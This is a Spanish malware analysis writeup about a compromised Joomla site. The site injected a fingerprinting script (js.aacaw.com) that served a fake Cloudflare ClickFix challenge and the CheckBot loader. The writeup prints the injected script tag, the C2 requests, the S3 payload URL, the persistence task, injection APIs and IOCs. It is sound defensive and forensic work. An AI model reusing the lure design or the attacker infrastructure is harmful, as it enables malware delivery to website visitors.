El 15 de julio de 2026 me topé con el sitio de una empresa del territorio, un sitio perfectamente normal, en línea desde hace años, que distribuía malware a sus propios visitantes de Windows sin que nadie se hubiera dado cuenta. No un sitio de estafa: una actividad real, comprometida y transformada, sin saberlo, en un vehículo de distribución.
En este writeup relato toda la cadena: cómo la descubrí, cómo se comportaba el script inyectado, qué pasaba cuando "detonaba" el malware en una sandbox aislada, qué saqué de los volcados de memoria, y por qué llegar a decir qué hace de verdad un malware es mucho más difícil de lo que parece.
Nota sobre responsible disclosure. El nombre de la empresa víctima y su dominio están censurados: era un objetivo inocente, un sitio legítimo comprometido. Los indicadores de la infraestructura del atacante (dominios C2, hashes, IP) sí se reportan, porque compartirlos ayuda a quien hace defensa a bloquearlos. El análisis se llevó a cabo en un entorno aislado y la empresa fue avisada.
1. El descubrimiento: un script que no debía estar ahí
Todo partió de un detalle en el código fuente HTML. En todas las páginas, dentro del markup del menú de navegación, aparecía un script ajeno:
...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...
Esa " huérfana antes de <a> es la firma de una sustitución automática vía PHP del lado del servidor, no de una modificación manual de la plantilla. El script se inyectaba una vez por cada módulo-menú renderizado: las páginas con megamenú de escritorio y menú móvil mostraban dos copias, las de un solo menú una sola.
El dominio js.aacaw.com no tenía nada que ver con el sitio. Primera señal de alarma.
2. No es el malware: es una puerta
Descargué y desofusqué fp/v1.min.js (97.920 bytes exactos, ofuscado con obfuscator.io). La sorpresa: no contiene ningún payload. Cero apariciones de captcha, download, .exe, blob, clipboard. Es un fingerprint gate, una puerta que perfila al visitante y decide si vale la pena atacarlo.
El script recopila un fingerprint extendido del lado del cliente:
- canvas y WebGL (vendor y renderer vía
WEBGL_debug_renderer_info) - enumeración de las fuentes instaladas
navigatorcompleto (userAgent, platform, plugins, hardwareConcurrency, idioma)- resolución de pantalla, timezone
Luego envía todo a un C2 y espera la vía libre. Desofuscando y reejecutando el script en una sandbox Node con navegador mockeado y red interceptada, reconstruí la cadena paso a paso:
GET https://api.aacak.com/domain → {"domain":"aacak.com"} (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
(se il profilo è un bersaglio → inietta il secondo stadio JS)
La primera petición es un mecanismo de domain-agility: el script pregunta al C2 cuál es el dominio activo antes de proceder, así el atacante puede rotar la infraestructura sin tocar el sitio infectado. El fingerprint viaja sin ninguna firma HMAC, así que el esquema es trivialmente falsificable, un detalle útil más adelante.
En Mac, Linux o móvil, la puerta nunca recibe la vía libre y no muestra nada. Por eso un compromiso de este tipo puede pasar inadvertido durante meses: se activa solo para el objetivo adecuado.
3. El falso Cloudflare y la técnica ClickFix
Cuando el perfil es un escritorio Windows, el gate inyecta un segundo estadio (static.aacak.com/fp/check.v1.min.js, 992.491 bytes) que construye una imitación pixel-perfect de la challenge de Cloudflare. Textos verbatim como "Performing security verification", "This website uses a security service to protect against malicious bots", branding de Cloudflare, e incluso los enlaces reales a cloudflare.com/turnstile y cdn-cgi/challenge-platform para dar autenticidad.
La puesta en escena se construye en tres actos, reconstruidos aquí abajo a partir de las muestras reales (dominio de la víctima censurado: es un objetivo inocente).
Acto 1: la falsa challenge. A la víctima le aparece la clásica intersticial de Cloudflare, con el nombre del sitio en grande, la casilla "Verify you are human" y el branding correcto. Indistinguible de la verdadera.

Y es aquí donde esta estafa se vuelve de verdad peligrosa. Mira la barra de direcciones y el título: el dominio es el legítimo del sitio comprometido. No es un typosquat, no es un dominio parecido, no es un sitio clon: es ese mismo sitio, con su certificado HTTPS válido y la reputación construida en años. La única defensa que siempre enseñamos a los usuarios, "comprueba que la URL sea la correcta", falla aquí, porque la URL es la correcta. Ninguna campana de alarma se dispara.
Acto 2: el falso fallo. Haces clic en la casilla y la challenge finge no lograrlo: "Verification failed, switching to another verification method". Es el punto de giro psicológico de la estafa: la challenge "verdadera" falla, así el usuario acepta de buen grado un método "alternativo", bajando la guardia justo cuando está a punto de ser engañado.

Acto 3: el ClickFix. El "método alternativo" es una página con seis campos para un "código de verificación" y un botón "Verify now".

Pero los campos y el botón son un señuelo: no hacen nada. Es el corazón de la técnica ClickFix. La descarga verdadera parte de un enlace secundario, apartado, "Not enabled yet? Get it now". Al hacer clic en él:
POST https://api.aacak.com/fingerprint/download-click (telemetria del clic)
GET https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe
El malware se sirve como blob application/octet-stream desde un bucket AWS S3 en Hong Kong (fp-hk, es decir fingerprint-HK), haciéndolo pasar por un "validador" necesario para completar el CAPTCHA. Tras el clic, el enlace pasa a "Validator downloaded". El usuario ejecuta el malware creyendo desbloquear un CAPTCHA, sin ninguna vulnerabilidad del navegador, solo ingeniería social bien empaquetada.
Y aquí la trampa se cierra de forma diabólica. El "validador" recién descargado y ejecutado es el malware mismo, que abre una pequeña ventana con un código de seis cifras, presentado como el código de verificación a introducir en la página.

La víctima copia ese código en los seis campos de la falsa challenge del sitio y hace clic en "Verify now". En ese momento el falso CAPTCHA desaparece y el sitio, el verdadero, se carga normalmente: el usuario sigue navegando imperturbable y convencido de haber pasado un control de seguridad normal. Ningún error, ningún aviso, ninguna señal de que algo haya salido mal. El código no servía para nada desde el punto de vista de la seguridad: era solo la última pieza de la puesta en escena, el gesto que convence al usuario de haber "completado la verificación". Mientras tanto el malware ya está en su PC, y ahí se quedará, silencioso, mientras él vuelve a hacer aquello por lo que había entrado en el sitio sin sospechar nada.
4. La causa de raíz: un plugin de Joomla no actualizado
¿Cómo acabó ese script en el servidor? El sitio corría sobre Joomla 4.4.14 (rama end-of-life) con SP Page Builder 4.0.7, afectado por:
| Campo | Valor |
|---|---|
| CVE | CVE-2026-48908, file upload no autenticado que lleva a RCE |
| Función | asset.uploadCustomIcon (falta el control de acceso) |
| Fix | v6.6.2, publicada el 14/06/2026 |
| Estado | en CISA KEV (explotación activa confirmada) desde el 07/07/2026 |
Cruzando con la Wayback Machine, la homepage estaba limpia el 12 de mayo de 2026: la ventana de compromiso se estrecha al periodo entre mayo y julio, coherente con la aparición de la CVE en la lista de vulnerabilidades explotadas activamente. Lección número uno, la más aburrida y la más importante: un plugin obsoleto es la puerta de entrada.
5. Detonación en sandbox aislada
Pasemos al binario. checkbot-win-*.exe, unos 2,76 MB, sin firmar. Al ejecutarse suelta una clásica pareja de DLL sideloading: dumpchk.exe (binario Microsoft legítimo y firmado) que carga una dbgeng.dll maliciosa en lugar de la DLL de sistema homónima.
Lo ejecuté en una VM Windows completamente aislada, sin acceso a internet real, con una red falsa que registra cada intento de conexión. Reconstruyendo la timeline a partir del .pcap, el malware interrogó en secuencia tres dominios C2:
~177s api.fingerprint-probe.com ← primo contatto
~370s api.aacaw.com ← stessa famiglia di js.aacaw.com sul sito!
~382s api.aacak.com ← variante typosquat, fallback
El segundo dominio es la prueba directa de que el malware distribuido y el script en el sitio pertenecen a la misma infraestructura. Todas las resoluciones DNS fallaban a propósito, así que el malware no pudo exfiltrar nada, pero la secuencia de dominios es exactamente lo que habría intentado hacer en un PC real.
6. Memory dumping: leer lo que el disco esconde
El archivo dbgeng.dll en disco no contiene cadenas maliciosas en claro: incorpora dos blobs cifrados que copia en memoria RWX y ejecuta. El payload hay que leerlo en RAM, no en disco.
Capturando un volcado completo de la memoria de la VM durante la ejecución, salieron a la luz en claro informaciones que el archivo cifrado no revelaba:
- Endpoint C2 del ejecutable:
/fingerprint/create(distinto de los endpoints del gate web) - Librería HTTP:
ureq/3.3.0conrustls 0.23.41, así que el payload está escrito en Rust (el loader inicial es en cambio C/C++ MSVC: loader C, payload Rust, un patrón común en el malware moderno) - GUID de víctima único:
0ec389f5-32ae-4a02-85c3-b3a3f21fe78d - Anti-sandbox: las cadenas
bochsyBOCHS, es decir, comprueba la presencia del emulador Bochs (no detectó nuestro QEMU/WHPX, por eso se comportó normalmente) - Branding:
CheckBot Error
Con Volatility3 hice luego las cosas bien sobre dos ejecuciones independientes (pslist, malfind, memmap, vadinfo):
pslist → checkbot-win.exe = PID 3596, nessun processo figlio
malfind → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager
Aquí una trampa metodológica en la que es facilísimo caer: malfind señala regiones RWX en Windows Defender y en procesos .NET. Parecen "inyección en Defender", pero son los falsos positivos conocidos, porque esos procesos usan legítimamente memoria RWX para el motor de escaneo y el JIT. Ninguno de esos hits estaba en el malware. Quien no lo sabe escribe un informe equivocado con gran seguridad.
El dato importante es otro: en nuestro entorno el malware preparaba la configuración y se detenía ahí, porque el C2 nunca respondía. La inyección de código está condicionada a una respuesta positiva del C2, así que el comportamiento peligroso se desbloquea solo para víctimas reales con internet funcionando.
7. Qué hace DE VERDAD: el differential contra un build limpio
Del volcado extraje (carving) el payload Rust descifrado (unos 780 KB). Y aquí llega la parte metodológicamente más delicada de todo el análisis.
La tentación es: busco cadenas en el volcado, encuentro wallet, MetaMask, Login Data, Active Directory, y concluyo "¡es un stealer de wallet y credenciales!". Error. rustls y la standard library están enlazadas estáticamente: sus constantes (tablas OID, headers HTTP) acaban en el .rdata del blob, colocalizadas con los marcadores del malware. Un escaneo crudo de un volcado de 8,6 GB pesca cadenas de otros procesos y DLL en RAM, no del malware.
Para no tomar luciérnagas por linternas compilé un build limpio de referencia con las versiones exactas de los crates (ureq 3.3.0, rustls 0.23.41, http 1.4.2) y resté sus cadenas de las del payload. Resultado:
id-smime-cd-ldap,Exchange,LDAP,Cookiesaparecen también en el build limpio: ruido de librería, demostradoActive Directory,SharePoint,DPAPI,wallet,MetaMask,CVVestán ausentes incluso en el payload: venían de otros procesos en RAM- lo que queda tras la resta son los módulos Rust del autor:
src/core/crypto.rs,src/core/client_id.rs,src/core/i18n.rs,src/core/probe.rs, más anti-debug y un esquema de telemetría
Veredicto sobre el ejecutable inicial: CheckBot es un fingerprinting-probe/loader, NO un stealer, conclusión defendible por diferencia contra un build limpio, no por proximidad de cadenas. El robo de datos, si lo hay, es un estadio posterior.
8. Detonación live: hacer caer el anti-análisis
Mientras el C2 no respondía, el estadio malicioso no se activaba. Para observarlo hice una detonación con egress real hacia el C2 vivo, en VM aislada a nivel de red (el guest alcanza internet pero no la LAN ni el host).
Primer run live: denegado. Mi VM "gritaba sandbox": hostname SANDBOX-PC, usuario Administrator, CPU qemu64, 1 núcleo, SMBIOS QEMU, MAC 52:54:00. El C2 respondió con unos pocos KB y ningún módulo.
Segundo run: sandbox endurecida. Camuflé todo en los parámetros de QEMU:
-cpu Skylake-Client-v1,-smp 4, SMBIOS Dell OptiPlex 7090, MAC OUI Dell00:14:22, hostnameWKS-MARCO- un perfil de usuario creíble con credenciales-señuelo canarytoken:
Desktop\Password.txtcon una clave AWS, banco y email, más.aws\credentialsy documentos Office, todos falsos pero armados, porque saltan cuando el atacante los usa
Con el entorno camuflado, lancé el binario y lo dejé trabajar bajo observación. Aquí el malware en acción en la sandbox endurecida:

Se ve todo: el hostname camuflado WKS-MARCO, la resolución DNS del C2 api.aacaw.com que esta vez responde (las direcciones de Cloudflare delante del servidor del atacante), el arranque de checkbot-win.exe desde F:\ y, detalle casi burlón, la ventana del malware mismo, titulada "CheckBot 0.4.32", que reproduce un falso widget de Cloudflare "Verifying…" con los mismos códigos de seis cifras de la página web. La misma puesta en escena que la challenge en el navegador, ahora incrustada en el ejecutable: coherencia de branding hasta dentro del binario.
Esta vez el fingerprint pasó y el estadio final llegó. Observado directamente:
- Conexión a
103.1.225.34:8001y:8002, TLS en puertos no estándar, sin SNI, IP directa, con descarga de unos 4 MB de módulos y subida de unos 21 KB (exfiltración) - Robo de los señuelos intentado: en la memoria privada del proceso inyectado
dllhost.exe(PID 4688) estaba el contenido íntegro dePassword.txt, clave AWS canaryAKIATU7L4S6WXXD53K7Yincluida. Undllhost.exesano no lee archivos del Desktop del usuario - Inyección confirmada con evidencia directa de
VirtualAllocEx,WriteProcessMemoryyCreateRemoteThreadaisladas en el módulo (de nuevo verificadas con el método differential, para no confundirlas con cadenas de librería) - DNS-over-HTTPS para ocultar el C2:
cloudflare-dns.com/dns-queryydns.quad9.net/dns-queryresolvían un nuevo dominios4.cache-task.com, eludiendo los logs DNS de la red
9. Atribución: por qué pensamos que son chinos
Una pieza que en los writeups a menudo se da por sentada, pero que aquí se apoya en evidencias concretas e independientes. La atribución a operadores sinófonos no nace de un solo indicio, sino de cadenas en chino simplificado encontradas en puntos distintos y no conectados de la cadena: script web, backend C2, página-señuelo, binario. Si fuera un solo punto diría casualidad; cuatro puntos independientes no.
Los ejemplos concretos, con la traducción:
- Error del C2, enviando un fingerprint malformado al backend Rust:
fp_data 缺少必要字段, es decir "faltan campos obligatorios". El mensaje de error está escrito en chino directamente en el servidor. - Cadenas del falso CAPTCHA:
看 6 位验证码, es decir "mira el código de 6 cifras", los comentarios para el operador detrás de la falsa challenge de Cloudflare. - Fragmento en el gate:
网络, es decir "red", dejado entre el código del fingerprint. - Comentario en el CSS de la página-señuelo:
BOSS 约束, es decir "restricción del jefe". Un detalle casi humano, el tipo de comentario que un desarrollador escribe para sí mismo, sin pensar que acabará bajo la lupa de un analista.
Hay más, y desplaza la atribución del lenguaje a la infraestructura. La resolución de los dominios se hacía vía DNS-over-HTTPS multi-provider, y entre los resolvers elegidos estaba dns.alidns.com, es decir el DNS público de Alibaba (China), junto a cloudflare-dns.com, quad9.net y dns.google. Una elección que tiene un doble propósito: saltarse el resolver DNS local (ninguna huella en el DNS corporativo o del ISP) y apoyarse en infraestructura cómoda para quien opera desde esa zona.
Y luego está la historia del dominio, quizá la pieza más elocuente. Al consultar el DNS pasivo de aacak.com, uno de los dominios C2, afloraron sus subdominios históricos: no nombres al azar, sino liuhecai, yulecheng, zuqiubocai. Son todos términos chinos del juego de azar: respectivamente la lotería Mark Six de Hong Kong, las "ciudades de entretenimiento" es decir los casinos en línea, y las apuestas de fútbol. Dicho de otro modo, antes de alojar el gate de CheckBot, ese mismo dominio servía circuitos de apuestas en línea chinos. No es una víctima ni es ruido: es un trozo de la biografía del atacante. Dice que detrás de esta campaña no hay un novato, sino un actor ya arraigado en el ecosistema del juego clandestino sinófono, que luego reconvirtió su infraestructura a la distribución de malware.
Por último, un detalle de los paths de panic del binario Rust: el stealer fue cross-compilado en macOS (toolchain stable-aarch64-apple-darwin). No es una prueba de nacionalidad, pero dibuja el perfil: operadores que desarrollan en Mac Apple Silicon, con mensajería interna en chino, e infraestructura que toca proveedores chinos.
Queda una atribución fuerte pero no concluyente: las cadenas en un idioma pueden colocarse a propósito para despistar. Sin embargo, la coherencia entre lenguaje, proveedores DNS, la historia del dominio y estilo de los comentarios hace el false flag menos probable de lo que lo haría un único indicio aislado.
10. No un stealer de objetivos fijos, sino un agente modular
Recuperando el módulo descomprimido de la RAM (Volatility3 vadinfo --dump) y desensamblándolo, emergió el árbol entero de las fuentes Rust del autor (de los paths de panic app/r/...):
core/ c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/ beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/ remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/ cfg.rs, version.rs (v0.0.32)
Esto explica la ausencia de cadenas de browser y wallet: no es un stealer de objetivos cableados, es un agente modular guiado por tasks del C2. El operador empuja los comandos (inject_host, restart, update, sleep, stop, god, fmt y otros); el robo de archivos ocurrió porque envió el task adecuado, y de hecho se llevó mi señuelo. Capacidades como robo de browser o wallet serían módulos adicionales descargados on-demand. La superficie de riesgo está abierta; lo que está demostrado sobre esta víctima es: inyección, recon, persistencia, robo de archivos bajo comando y exfiltración.
11. Persistencia y neutralización
La persistencia es redundante, pensada para resistir a la limpieza. La cadena literal está cableada en el binario CheckBot:
- Gancho primario: scheduled task camuflada
\Microsoft\Windows\Device Information\DeviceCensusHelper(imita el legítimoDeviceCensus, autor falsificado Microsoft Corporation), creada vía Task Scheduler COM API, que ejecuta el loader sideload en cada arranque - Gancho fallback: clave de registro HKLM (
immortal.rs), usada si el task falla - Self-heal:
immortal.rsysupervisor.rsreinician los threads, y task y cuerpo se recrean mutuamente
Por eso para limpiar no basta con borrar un archivo. Hacen falta todos los ganchos juntos:
- Sitio offline y patch de la causa: actualizar SP Page Builder a una versión igual o superior a la 6.6.2, actualizar todo lo demás, valorar la migración desde Joomla 4.4 EOL
- Caza de la persistencia en el endpoint infectado: eliminar la scheduled task
DeviceCensusHelper, la clave HKLM, el loader soltado (dumpchk.exeydbgeng.dll) y eldllhost.exeinyectado; si falta uno, se regenera - Rotación total de las credenciales (admin Joomla, secret
configuration.php, DB, hosting, FTP/SSH, API keys) - En el servidor: buscar admins y webshells ocultos, sin detenerse en el plugin
- RGPD: el sitio recopilaba contactos vía formulario, así que con acceso a la DB el atacante podría haber visto datos de terceros; de ahí la valoración de la obligación de notificación de breach (72 horas, Art. 33)
Como toque final, los señuelos canary exfiltrados están armados: la clave AWS AKIATU7L4S6WXXD53K7Y y los documentos Office con callback a canarytokens.com saltarán cuando el operador use el botín, revelando la IP y el user-agent reales del atacante.
Indicadores de compromiso (IOC)
| Tipo | Valor |
|---|---|
| Dominio gate (inyectado) | js.aacaw.com |
| Dominios C2 | api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com |
| Segundo estadio JS | static.aacak.com/fp/check.v1.min.js |
| Delivery/exfil (S3 Hong Kong) | fp-hk.s3.ap-east-1.amazonaws.com, con super4/checkbot/checkbot-*-0.0.32.exe y super4/zip/<token>.zip |
| Servidor de exfiltración final | 103.1.225.34:8001 y :8002 (TLS sin SNI, IP directa) |
| Dominio C2 vía DoH | s4.cache-task.com |
| Persistencia | scheduled task \Microsoft\Windows\Device Information\DeviceCensusHelper |
| Proceso objetivo de inyección | dllhost.exe |
Hash dbgeng.dll (payload malicioso) |
d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3 |
| CVE explotada | CVE-2026-48908 (SP Page Builder hasta la 6.6.1, Joomla) |
| Atribución | cadenas en chino en gate, C2 y señuelo, DoH hacia Alibaba, build en macOS, por tanto operadores sinófonos |
12. No era un caso aislado: la caza de las otras víctimas
Una vez notificado el primer sitio, la pregunta obvia era: ¿es un objetivo aislado o la punta de algo más grande? La firma de inyección que había aislado durante el análisis (el script gate js.aacaw.com y la familia de dominios C2 *.aacaw.com / *.aacak.com / *.aabaw.com) era una huella perfecta para buscar otras víctimas: si un sitio, en cualquier parte del mundo, cargaba ese script, pertenecía a la misma campaña.
Lo hice sin tocar un solo sitio víctima, únicamente con fuentes pasivas:
- urlscan.io, que archiva las peticiones de red realmente emitidas por cada página escaneada: al consultar el índice por los dominios de la campaña afloran los sitios desde los que ese gate «disparó».
- PublicWWW, que indexa el código fuente HTML de cientos de millones de sitios: buscar la cadena
js.aacaw.comdevuelve directamente las páginas donde la inyección sigue presente. - Certificate transparency (crt.sh) para mapear las familias de dominios hermanos generados por el atacante.
El resultado desplazó toda la perspectiva: no un sitio, sino decenas. Del orden de 60 a 90 víctimas observables en aquel momento, repartidas por una quincena de países, con un denominador común que no deja lugar a dudas: todas Joomla con SP Page Builder, exactamente la misma combinación y la misma CVE-2026-48908 que el primer sitio. No un objetivo elegido, sino una cosecha automática de cualquier instalación vulnerable que el atacante lograra encontrar.
Y qué víctimas. Sin dar nombres (son objetivos inocentes, como el primero): despachos profesionales que tratan datos financieros de terceros, instituciones académicas y públicas, un teatro, asociaciones culturales y deportivas, pequeñas empresas de servicios y, en el extremo alto de la escala de riesgo, un banco y portales gubernamentales. Cada uno de estos sitios, sin saberlo, servía la misma falsa challenge de Cloudflare a sus visitantes de Windows.
El detalle más insidioso es por qué nadie se había dado cuenta. El gate no se activa siempre: está cloaked, se sirve de forma intermitente: una vez por IP, según el user-agent, la geolocalización, el referente. El propietario que abre su propio sitio lo ve limpio, porque en la segunda carga el portal permanece cerrado; urlscan lo captura solo en el instante exacto en que decide «disparar». Eso explica cómo una campaña tan amplia puede permanecer invisible durante meses para los propios afectados.
Una precisión, porque la misma disciplina aplicada a los volcados de memoria vale también aquí: una estimación inicial, a ojo, hacía pensar en miles o decenas de miles de sitios. Los datos no lo sostienen. La huella real de la inyección web es del orden de las decenas, no de los miles: el gate es deliberadamente sigiloso, y la sofisticación no implica un número alto de sitios (el «volumen» de la campaña, si está en algún sitio, está del lado de la botnet de dispositivos infectados, no medible desde fuentes pasivas). También al dimensionar una campaña vale la regla del writeup: contar lo que se demuestra, no lo que impresiona.
Hay una línea que no crucé: nada de hack-back. Conectarse al servidor del atacante para extraer la «lista completa» de víctimas sería acceso no autorizado, ilegal incluso contra un criminal, y a menudo la mejor forma de caer en un honeypot. El reconocimiento de la infraestructura hostil se hace solo mediante índices pasivos; la lista verdaderamente exhaustiva se obtiene por vía legítima, pasando los IOC al CSIRT/CERT, que tiene las competencias y los canales para el takedown y la notificación coordinada a las víctimas, la vía obligada sobre todo para las entidades públicas afectadas.
Contacté con las víctimas que pude alcanzar, empezando por las italianas, y pasé los indicadores a los canales institucionales. Pero el punto, para quien lee, es otro, y cierra el círculo con la primera lección: aquel primer sitio no tenía nada de especial. No había sido elegido. Era solo uno más de tantos que ejecutaba un plugin sin actualizar, en el momento equivocado.
Lo que me llevo a casa
Tres lecciones, en orden de importancia.
Un plugin no actualizado basta. Ningún exploit sofisticado del navegador, ningún zero-day: una CVE conocida en un plugin end-of-life, y un sitio legítimo se convierte en un distribuidor de malware durante meses sin que nadie se dé cuenta, porque la puerta se activa solo para el objetivo adecuado.
El análisis estático no basta contra el packing moderno. Downloader Rust, luego zip cifrado con una contraseña del C2, luego loader C con blob XOR-rolling, luego shellcode, luego payload comprimido en runtime. Cada capa está pensada para detener a quien mira solo el archivo en disco. La verdad está en RAM, y hay que sacarla con detonación controlada y memory forensics.
Cuidado con lo que crees haber encontrado. Los falsos positivos de malfind sobre Defender, las cadenas de librería confundidas con capacidades del malware, la primera lista "wallet, browser, Telegram" que el differential demolió. La diferencia entre un informe correcto y uno equivocado pero convincente está toda aquí: verificar por diferencia, no por proximidad.
Si gestionas un sitio sobre un CMS con plugins de terceros, sea Joomla, WordPress o Drupal, la pregunta no es si hay actualizaciones pendientes, sino desde cuándo.
